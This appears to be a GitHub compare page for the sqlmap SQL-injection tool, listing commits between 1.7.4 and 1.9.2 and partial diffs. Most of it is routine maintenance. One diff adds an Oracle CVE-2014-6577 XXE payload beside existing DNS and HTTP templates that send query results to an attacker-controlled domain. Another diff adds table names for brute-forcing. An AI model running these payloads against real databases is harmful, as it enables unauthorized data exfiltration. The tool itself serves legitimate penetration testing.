Compare commits

...

176 Commits
1.7.4 ... 1.9.2

Author SHA1 Message Date
Miroslav Stampar
996cc77e30 Dummy commit 2025-02-05 16:28:47 +01:00
Miroslav Stampar
0f9a1c801c Dummy update 2025-01-02 01:12:43 +01:00
Miroslav Stampar
fee62ae14c Update of checksums 2025-01-02 01:00:58 +01:00
Miroslav Stampar
ed4fc46217 Year bump 2025-01-02 00:51:30 +01:00
Miroslav Stampar
b3b462ccf6 Fixes #5828 2024-12-10 22:18:21 +01:00
Miroslav Stampar
1a9fc81fe5 Implements --disable-hashing (#5827) 2024-12-09 10:43:26 +01:00
Miroslav Stampar
7584a67422 Dummy update 2024-12-04 10:03:18 +01:00
tanaydin sirin
2358219631 Fix for Google Hacking Database URL (#5824) 2024-12-04 10:02:17 +01:00
Miroslav Stampar
cc245a0d05 Minor patch 2024-11-19 13:25:41 +01:00
Miroslav Stampar
10f8b7d0e2 Fixes #5809 2024-11-19 12:21:23 +01:00
Miroslav Stampar
4b2baa32c3 Fixes #5806 2024-11-16 18:54:15 +01:00
Miroslav Stampar
935afc6217 Minor patching for CI/CD 2024-11-15 18:37:49 +01:00
Miroslav Stampar
07b94ce703 Fixes #5799 2024-11-15 18:31:14 +01:00
Miroslav Stampar
77567da54e Minor patch for DREI 2024-11-15 18:24:59 +01:00
Miroslav Stampar
8b3425ccdf Minor patch (e.g. --sql-query=SELECT 'a','b','c') 2024-11-15 18:18:25 +01:00
Miroslav Stampar
87cd5906f9 Fixes #5805 2024-11-15 17:46:24 +01:00
Miroslav Stampar
8fc166197d Fixes #5802 2024-11-12 20:51:55 +01:00
Miroslav Stampar
7bf9e3e7b4 Another patch for #5798 2024-11-06 12:51:23 +01:00
Miroslav Stampar
282eea3743 Another patch for #5798 2024-11-06 12:06:34 +01:00
Miroslav Stampar
22ddd4e843 Patch for #5798 2024-11-06 11:47:03 +01:00
Miroslav Stampar
5c27dd8204 Patch related to the #2891 2024-10-29 11:19:15 +01:00
Miroslav Stampar
374134e8c0 Minor improvement 2024-10-25 15:47:16 +02:00
Miroslav Stampar
db2c6bc546 Trivial update 2024-10-25 11:45:20 +02:00
Miroslav Stampar
9e36fd7484 Update related to the #5784 2024-09-25 13:56:41 +02:00
Miroslav Stampar
944e90dad5 Dummy commit 2024-09-10 14:05:14 +02:00
Trịnh Duy Hưng
66d203e6ff Update Vietnamese translation (#5777) 2024-09-10 14:04:27 +02:00
Miroslav Stampar
51cdc98168 Minor patch related to the #5760 2024-08-26 00:52:18 +02:00
Sore
3d0390b7c6 Create README-ckb-KU.md (#5760)
added kurdish(ckb) translation
2024-08-26 00:50:35 +02:00
Miroslav Stampar
bd23ccb507 Patch related to the #5767 2024-08-26 00:46:26 +02:00
Miroslav Stampar
989840c094 Fixes #5763 2024-08-26 00:09:58 +02:00
Miroslav Stampar
8dcf4baeaa Fixes #5772 2024-08-25 23:22:44 +02:00
Miroslav Stampar
bf5cddccb9 Trivial update 2024-08-23 14:59:00 +02:00
IRedScarface
c955b034ed Update common-tables.txt (#5765) 2024-08-23 14:57:50 +02:00
Miroslav Stampar
edb9a15538 Fixes #5761 2024-08-16 09:49:38 +02:00
Miroslav Stampar
8b55644631 Fixes #5759 2024-08-05 17:47:30 +02:00
Miroslav Stampar
238ca3ccd8 Fixes #5755 2024-07-30 09:45:26 +02:00
Miroslav Stampar
526bec322b Dummy update 2024-07-18 14:46:21 +02:00
gthzee
d5527b3380 Update README-id-ID.md (#5751) 2024-07-18 14:36:59 +02:00
Miroslav Stampar
fde978c4ff Patch for #5746 2024-07-17 16:53:55 +02:00
Miroslav Stampar
1d17e2a942 Dummy update 2024-07-13 10:51:06 +02:00
Miroslav Stampar
79aa315344 Some Python DREI patch 2024-06-29 00:29:03 +02:00
Miroslav Stampar
79f4cfb0a7 Fixes #5738 2024-06-28 23:28:26 +02:00
Miroslav Stampar
3192da0acd Minor patch related to the #5740 2024-06-28 23:10:58 +02:00
Miroslav Stampar
d37db2e7e8 Fixing some Python drei stuff 2024-06-27 10:43:35 +02:00
Miroslav Stampar
f1ac7dc39b Minor update 2024-06-27 10:17:13 +02:00
Miroslav Stampar
9a87f47777 Trivial updates 2024-06-26 13:21:01 +02:00
Miroslav Stampar
a79ed52463 Minor update 2024-06-24 18:22:56 +02:00
Ben Kofman
73a62f9f4e Update option.py (#5736)
auth-type=pki requires auth-file option to pass in a certificate. auth-pki is not a valid option
2024-06-24 18:20:09 +02:00
Miroslav Stampar
c1af880fb8 Fixes #5735 2024-06-24 18:19:24 +02:00
Miroslav Stampar
9a48a27593 Patch related to the #4613 2024-06-21 20:46:23 +02:00
Miroslav Stampar
6ae0d0f54e Fixes #5732 2024-06-17 19:03:39 +02:00
Miroslav Stampar
cf91046766 Fixes #5731 2024-06-17 18:41:25 +02:00
Miroslav Stampar
0b9a8c57d7 Implements #5728 2024-06-10 10:48:37 +02:00
Miroslav Stampar
b256269883 Fixes #5725 2024-06-05 11:24:08 +02:00
Miroslav Stampar
ebfafe93e1 Minor cleanup 2024-06-05 10:59:51 +02:00
Miroslav Stampar
2b3af64649 Minor update 2024-06-05 10:38:24 +02:00
Miroslav Stampar
58c6ca3a60 Debugging CI/CD failing 2024-06-05 10:22:05 +02:00
Miroslav Stampar
59b3b973c7 Trivial update 2024-06-05 10:07:17 +02:00
Miroslav Stampar
e3669c0926 Patch related to the #5727 2024-06-05 10:06:06 +02:00
Miroslav Stampar
507c719bef Trying python3.12 in CI/CD tests 2024-05-09 18:42:30 +02:00
Miroslav Stampar
3cc19816cc Removing problematic combo from CI/CD testing 2024-05-09 18:30:55 +02:00
Miroslav Stampar
74ca0eda56 Another reduce of python-version 2024-05-09 18:25:11 +02:00
Miroslav Stampar
514a1291e4 Reducing python-version support to fix CI/CD 2024-05-09 18:24:06 +02:00
Miroslav Stampar
9bbf70790c Patch related to the #5700 2024-05-09 16:14:57 +02:00
Miroslav Stampar
163a5f374a Trying to fix the failing CI 2024-04-29 15:51:48 +02:00
Miroslav Stampar
46cc0c2941 Fixes #5698 2024-04-29 15:47:26 +02:00
Miroslav Stampar
2f01cbf71f Patching some resource-related warnings 2024-04-12 18:10:16 +02:00
Miroslav Stampar
1e9e33d9c3 Proper patch for #5688 2024-04-12 17:32:38 +02:00
Miroslav Stampar
dce99e0b40 Trivial update 2024-04-12 16:21:32 +02:00
laterlaugh
b3896f3f8c chore: remove repetitive words (#5687)
Signed-off-by: laterlaugh <manziwenzhai@sina.cn>
2024-04-12 16:18:02 +02:00
Miroslav Stampar
853cb3fa06 Minor patch 2024-04-08 10:59:06 +02:00
Miroslav Stampar
5c9a5943e7 Removing some obsolete code 2024-04-08 10:11:36 +02:00
G3G4X5X6
9ddf85ce5a fixed: sqlite3.OperationalError: table logs already exists (#5677)
CREATE TABLE IF NOT EXISTS
2024-04-08 10:05:05 +02:00
Miroslav Stampar
29ccb7f9a3 Patch related to the #5669 2024-03-29 22:24:20 +01:00
Miroslav Stampar
e0663ceb6f Patch related to the #4137 2024-03-29 12:23:53 +01:00
Miroslav Stampar
d85e09f163 Minor update 2024-03-04 15:39:58 +01:00
Nightsuki
2ba488803a Update: Chinese documents. (#5649)
* Update Chinese documents.

* Revise zh-CN document about RSS

* Update: zh-CN document, keep terminology: commit
2024-03-04 15:28:31 +01:00
Miroslav Stampar
5845cf526b Minor update of code digest logic 2024-03-01 15:07:04 +01:00
Miroslav Stampar
33babc024b Minor update 2024-03-01 15:02:58 +01:00
Miroslav Stampar
d892163a86 Renaming Twitter to X 2024-03-01 13:08:03 +01:00
Miroslav Stampar
c2988056d9 Minor patch 2024-03-01 13:04:12 +01:00
Miroslav Stampar
576e3dbde8 Minor patch 2024-03-01 13:01:50 +01:00
Miroslav Stampar
9c742753cf Trying more CI/CD debugging 2024-03-01 12:54:15 +01:00
Miroslav Stampar
b50e07d03e Debugging CI/CD failure 2024-03-01 12:23:43 +01:00
Miroslav Stampar
d2e3eaceaf Minor patch 2024-03-01 12:15:53 +01:00
Miroslav Stampar
1f41f8588b Replacing code integrity with code checksum mechanism 2024-03-01 12:11:47 +01:00
Miroslav Stampar
171ebf2ef6 Update of the checksum validation mechanism 2024-03-01 12:02:04 +01:00
Miroslav Stampar
5a4602a968 Minor update 2024-03-01 11:26:54 +01:00
Miroslav Stampar
8d4a0a2b7b Adding sha256sums.txt to the repo 2024-03-01 11:23:35 +01:00
Miroslav Stampar
626b310e7e Adding support for sha256sum of source files 2024-03-01 11:22:19 +01:00
Miroslav Stampar
76a2e658b5 Adding switch '--unsafe-naming' 2024-02-10 15:24:28 +01:00
Rohit Kumar Ankam
9c1879b08d fixed multipart form handling issue (#5602) (#5603) 2024-02-08 16:09:49 +01:00
Miroslav Stampar
ae1bd2136a Update regarding #5618 2024-02-05 12:07:38 +01:00
Miroslav Stampar
305d79846f Fixes #5619 2024-01-31 14:31:22 +01:00
Harabe
acd9831917 Update README-pl-PL.md (#5609)
The spelling and grammar errors have been corrected.
2024-01-17 12:06:05 +01:00
Miroslav Stampar
8430d6ba96 Fixing some Python3.12 naggings 2024-01-17 12:03:29 +01:00
Miroslav Stampar
162bafa77d Fixes #5590 2024-01-14 22:57:30 +01:00
Miroslav Stampar
1ce9c8ab94 Implementing #5506 2024-01-11 16:11:40 +01:00
Miroslav Stampar
bfe03ef95a Fixes #5601 2024-01-10 17:48:14 +01:00
Miroslav Stampar
27c4e8d29a Patch related to empty multiform-data field value (#5598) 2024-01-09 11:05:26 +01:00
Miroslav Stampar
d42187ac47 Revert "Improved Multipart Form handling (#5598)" (#5599)
This reverts commit 93a8828dab.
2024-01-09 09:36:49 +01:00
Rohit Kumar Ankam
93a8828dab Improved Multipart Form handling (#5598)
* improved multipart marker

* Improved file field handling in Multipart forms

* improved dumb LF to CRLF converter
2024-01-09 09:29:20 +01:00
Miroslav Stampar
d38d734e6d First year's dev commit 2024-01-03 23:22:44 +01:00
Miroslav Stampar
f94ab0f650 Version update 2024-01-03 23:18:35 +01:00
Miroslav Stampar
585a13d89b Version bump 2024-01-03 23:14:31 +01:00
Miroslav Stampar
c84f141b89 Bumping copyright year 2024-01-03 23:11:52 +01:00
Anggiramadyansyah
097f236a50 Update: Indonesian documentation. (#5588) 2023-12-27 10:28:20 +01:00
Miroslav Stampar
51908e653c Minor patch related to the #5585 2023-12-22 19:54:08 +01:00
Miroslav Stampar
a13c1f2db1 Implements #5585 2023-12-22 17:13:37 +01:00
Miroslav Stampar
f176266e58 Minor update 2023-12-14 12:53:49 +01:00
Miroslav Stampar
53b8a9583e Fixes #5581 2023-12-13 14:12:17 +01:00
Miroslav Stampar
6dd383fd72 Minor update for #5229 2023-12-12 14:54:44 +01:00
Miroslav Stampar
f24bf55d8f Update related to #5571 2023-12-08 01:29:09 +01:00
Miroslav Stampar
c096f870e7 Cleaning some mess with limitQuery 2023-12-03 13:49:45 +01:00
Miroslav Stampar
bde7637633 Minor patch 2023-12-03 13:35:18 +01:00
Miroslav Stampar
4acc0178b5 Fix related to #5580 2023-12-03 13:25:43 +01:00
nowhereman
de6107cab5 H2 queries to get data use wrong order for LIMIT and OFFSET (#5580) 2023-12-03 13:20:32 +01:00
Miroslav Stampar
29f09e235c Fixes #5576 2023-12-01 11:26:52 +01:00
Miroslav Stampar
67ab79a625 Fixes #5574 2023-11-24 01:39:24 +01:00
Miroslav Stampar
de66b69f41 Fixes #5566 2023-11-12 20:38:47 +01:00
Miroslav Stampar
acce97bfcb Patch related to the #5567 2023-11-12 20:25:42 +01:00
Miroslav Stampar
124c3902cc Fixes #5565 2023-11-12 20:03:53 +01:00
Miroslav Stampar
bb1772c8b8 Fixes #5560 2023-10-31 15:16:15 +01:00
Miroslav Stampar
9d85d3005a Minor update of fingerprinting payloads 2023-10-27 15:17:47 +02:00
Miroslav Stampar
7a6abb56d2 Minor patch 2023-10-22 11:13:17 +02:00
GH05T HUNTER5
e267c8fd57 Update README.md (#5552) 2023-10-22 11:11:50 +02:00
GH05T HUNTER5
57900d899c Create README-in-HI.md (#5551) 2023-10-22 11:11:33 +02:00
Miroslav Stampar
3d244ea9c3 Fixes #5549 2023-10-20 15:24:41 +02:00
Miroslav Stampar
90cbaa1249 Fixes #5539 2023-10-09 11:07:09 +02:00
Miroslav Stampar
1740f6332e Fixes #5536 2023-10-06 19:48:30 +02:00
Miroslav Stampar
e0ec2fcdbd Implements option --time-limit (#5502) 2023-09-28 20:34:52 +02:00
Miroslav Stampar
c629374858 Fixes #5521 2023-09-07 11:03:01 +02:00
Miroslav Stampar
6caba631a8 Minor patch (#5508) 2023-09-04 18:47:25 +02:00
Miroslav Stampar
be118e861c Implements option --union-values (#5508) 2023-09-04 18:34:21 +02:00
Miroslav Stampar
4f2a883544 Update for #5508 2023-08-31 12:22:11 +02:00
Miroslav Stampar
89e8b6e5ce Fixes #5510 2023-08-31 12:16:35 +02:00
Miroslav Stampar
6d472dc2b0 Minor update of SQLite specific payload (#5501) 2023-08-26 16:02:17 +02:00
soka
2f66aa8ac1 Add SQLite AND boolean-based blind payload (#5501) 2023-08-26 15:56:49 +02:00
Miroslav Stampar
a7cf68f243 Fixes #5483 2023-08-19 10:24:20 +02:00
Miroslav Stampar
ccc38abff6 Dirty patch for #5488 2023-08-19 10:02:29 +02:00
Miroslav Stampar
3e98fabd23 Fixes #5492 2023-08-19 09:41:24 +02:00
Miroslav Stampar
b368b4a9f9 Fixes #5493 2023-08-16 12:43:55 +02:00
Miroslav Stampar
2c767d7d1f Patch for #5484 2023-08-15 11:06:28 +02:00
Miroslav Stampar
b836c36d68 Potential fix for #5485 2023-08-15 10:58:12 +02:00
Miroslav Stampar
89f9e5b1e0 Fixes #5477 2023-08-05 11:14:45 +02:00
Miroslav Stampar
5ad099c61d Fixes #5479 2023-08-01 11:45:20 +02:00
Miroslav Stampar
21878560ee Fixes #5481 2023-08-01 11:33:13 +02:00
Miroslav Stampar
0d19af8bbc Fixes #5476 2023-07-25 10:45:33 +02:00
Miroslav Stampar
5bd0f20c84 Removing support for lol FORKZ 2023-07-21 10:54:17 +02:00
Miroslav Stampar
bb48dd037f Implements #5452 2023-07-06 10:43:43 +02:00
Miroslav Stampar
df388b2150 Python2.7 has been removed from Github CI/CD 2023-06-29 15:51:25 +02:00
Miroslav Stampar
66cc6ae55c Fixes #5445 2023-06-29 15:43:38 +02:00
Miroslav Stampar
322d80c0cf Fixes #5444 2023-06-26 16:37:58 +02:00
Miroslav Stampar
1230e57fca Fixes #5434 2023-06-06 11:23:17 +02:00
Miroslav Stampar
ee15749ac4 Fixes #5431 2023-06-03 22:49:43 +02:00
Miroslav Stampar
8466a89ed3 Trivial update 2023-06-02 11:32:06 +02:00
Miroslav Stampar
acc7b16845 Fixes #5428 2023-06-02 11:25:57 +02:00
Marvin Louis
48c967c01d add support to leverage CVE-2014-6577 for Oracle DNS data exfiltration (#5410)
Co-authored-by: marvin <marvin@debian-BULLSEYE-live-builder-AMD64>
2023-05-25 11:27:15 +02:00
Miroslav Stampar
d28a66a340 Minor patch of vuln tests 2023-05-22 11:31:01 +02:00
Miroslav Stampar
30b43eccab Minor update for #5423 2023-05-22 11:23:04 +02:00
Miroslav Stampar
290a8e7119 Fixes #5411 2023-05-16 10:59:06 +02:00
Miroslav Stampar
cf5e2aa7ef Fixes #5416 2023-05-16 09:48:33 +02:00
Miroslav Stampar
8bc2ace094 Fixes #5409 2023-05-01 09:46:06 +02:00
Sheldon Klassen
e1043173d7 Disabled hostname and certificate validation for TLSv1.3 support. (#5395) 2023-04-24 15:06:57 +02:00
Miroslav Stampar
12c472cef5 Fixes #5404 2023-04-24 14:45:19 +02:00
Miroslav Stampar
037a07ddde Fixes #5401 2023-04-19 16:05:23 +02:00
Miroslav Stampar
0e8940b0be Fixes #5402 2023-04-19 15:58:08 +02:00
Miroslav Stampar
3ad6727d0c Potential patch for #5392 2023-04-17 13:35:24 +02:00
Ufuk
4191b06f58 Update README-tr-TR.md (#5393) 2023-04-17 13:23:36 +02:00
Miroslav Stampar
60bb973c11 Update related to #5389 2023-04-11 14:19:39 +02:00
Miroslav Stampar
0fba9b13b3 Fixes #5387 2023-04-07 13:26:52 +02:00
Miroslav Stampar
17688f6711 Fixes #5379 2023-04-07 12:58:53 +02:00
Miroslav Stampar
3b3c2a5d04 Fixes #5386 2023-04-07 12:32:32 +02:00
Miroslav Stampar
4f7614412f Fixes #5385 2023-04-05 10:56:36 +02:00
Miroslav Stampar
4efb3ea840 One more update related to the #5381 2023-04-05 10:31:17 +02:00
Miroslav Stampar
c2bac51c4f Minor update 2023-04-05 09:33:17 +02:00
450 changed files with 2694 additions and 982 deletions

8
.gitattributes vendored
View File

@@ -1,8 +1,16 @@
*.conf text eol=lf *.conf text eol=lf
*.json text eol=lf
*.html text eol=lf
*.md text eol=lf *.md text eol=lf
*.md5 text eol=lf *.md5 text eol=lf
*.pl text eol=lf
*.py text eol=lf *.py text eol=lf
*.sh text eol=lf
*.sql text eol=lf
*.txt text eol=lf
*.xml text eol=lf *.xml text eol=lf
*.yaml text eol=lf
*.yml text eol=lf
LICENSE text eol=lf LICENSE text eol=lf
COMMITMENT text eol=lf COMMITMENT text eol=lf

View File

@@ -10,7 +10,10 @@ jobs:
strategy: strategy:
matrix: matrix:
os: [ubuntu-latest, macos-latest, windows-latest] os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ] python-version: [ 'pypy-2.7', '3.12' ]
exclude:
- os: macos-latest
python-version: 'pypy-2.7'
steps: steps:
- uses: actions/checkout@v2 - uses: actions/checkout@v2
- name: Set up Python - name: Set up Python

View File

@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -45,7 +45,7 @@ Links
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki * User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -58,19 +58,21 @@ Translations
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)

View File

@@ -1,2 +1,3 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
id id

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# CTFs # CTFs

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
[Banners] [Banners]

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
users users
@@ -3420,6 +3420,181 @@ basvuru
basvurular basvurular
kontak kontak
kontaklar kontaklar
kisi
kisiler
uye
uyeler
kayıt
kayıtlar
tel
telefon
telefonlar
numaralar
numara
kart
kartlar
kredi
krediler
kredikartı
fiyat
fiyatlar
odeme
odemeler
kategoriler
tbl_Uye
xml_kategoriler
tbl_siparis
tbl_googlemap
tbl_ilce
tbl_yardim
tbl_Resim
tbl_anket
tbl_Rapor
tbl_statsvisit
tbl_ticket
tbl_Cesit
tbl_xml
tbl_Cinsiyet
xml_urunler_temp
tbl_takvim
tbl_altkategori
tbl_mesaj
tbl_Haber
tbl_AdresTemp
tbl_Firma
tbl_Medya
xml_urunlerbirim
tbl_Yardim
tbl_medya
tbl_Video
xml_markalar_transfer
tbl_adrestemp
tbl_online
tbl_sehir
tbl_resim
tbl_Gorsel
tbl_doviz
tbl_gorsel
tbl_kampanya
tbl_Blog
tbl_Banners
tbl_koleksiyon
tbl_Galeri
tbl_Kampanya
tbl_Favori
tbl_sss
tbl_Banner
tbl_Faq
xml_markalar_temp
tbl_faq
tbl_Personel
tbl_Seo
tbl_adres
tbl_ayar
tbl_metin
tbl_AltKategori
tbl_kategori
tbl_Marka
tbl_blogkategori
tbl_ulke
tbl_sepetold
tbl_yorum
tbl_Fiyat
tbl_Reklam
tbl_Kategori
tbl_Yorum
tbl_semt
tbl_Tedarikci
xml_kampanyakategori
tbl_ozelgun
tbl_uyexml
tbl_rapor
tbl_seo
tbl_Indirim
tbl_Ilce
tbl_bulten
tbl_video
tbl_Ayar
tbl_fatura
tbl_cinsiyet
tbl_reklam
tbl_sliders
tbl_KDV
tbl_uye_img
tbl_siparisid
tbl_BlogKategori
tbl_Yonetici
tbl_kdv
tbl_Online
tbl_temsilci
tbl_Dil
tbl_banners
tbl_Mesaj
tbl_Logs
tbl_logs
tbl_fiyat
tbl_SSS
tbl_Puan
tbl_kargo
tbl_Statsvisit
tbl_Koleksiyon
tbl_dil
tbl_Sepetold
tbl_Fatura
tbl_yonetici
tbl_Yazilar
tbl_Temsilci
tbl_Kargo
tbl_cesit
tbl_uye
tbl_haber
tbl_SiparisID
tbl_Adres
tbl_Ozelgun
tbl_banka
tbl_Videogaleri
tbl_galeri
tbl_videogaleri
xml_urunresimleri
tbl_urun
tbl_Ticket
tbl_yazilar
tbl_Ulke
tbl_Urun
tbl_renk
tbl_Harita
tbl_Sepet
tbl_Sehir
tbl_Uye_Img
tbl_Semt
tbl_indirim
xml_kampanyakategori_transfer
tbl_Takvim
tbl_blog
tbl_Sliders
tbl_Renk
tbl_UyeXML
tbl_tedarikci
tbl_Fotogaleri
tbl_Doviz
tbl_Anket
tbl_Banka
tbl_Metin
tbl_XML
tbl_firma
tbl_harita
tbl_banner
tbl_sepet
tbl_fotogaleri
tbl_marka
tbl_Siparis
tbl_personel
tbl_puan
tbl_Bulten
tbl_favori
tbl_onlineusers
# List provided by Pedrito Perez (0ark1ang3l@gmail.com) # List provided by Pedrito Perez (0ark1ang3l@gmail.com)

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
@@ -899,7 +899,6 @@ PARTIAL
PARTITION PARTITION
PARTITIONING PARTITIONING
PARTITIONS PARTITIONS
PASSWORD
PASSWORD_LOCK_TIME PASSWORD_LOCK_TIME
PATH PATH
PERCENT_RANK PERCENT_RANK

630
data/txt/sha256sums.txt Normal file
View File

@@ -0,0 +1,630 @@
39a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a data/html/index.html
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
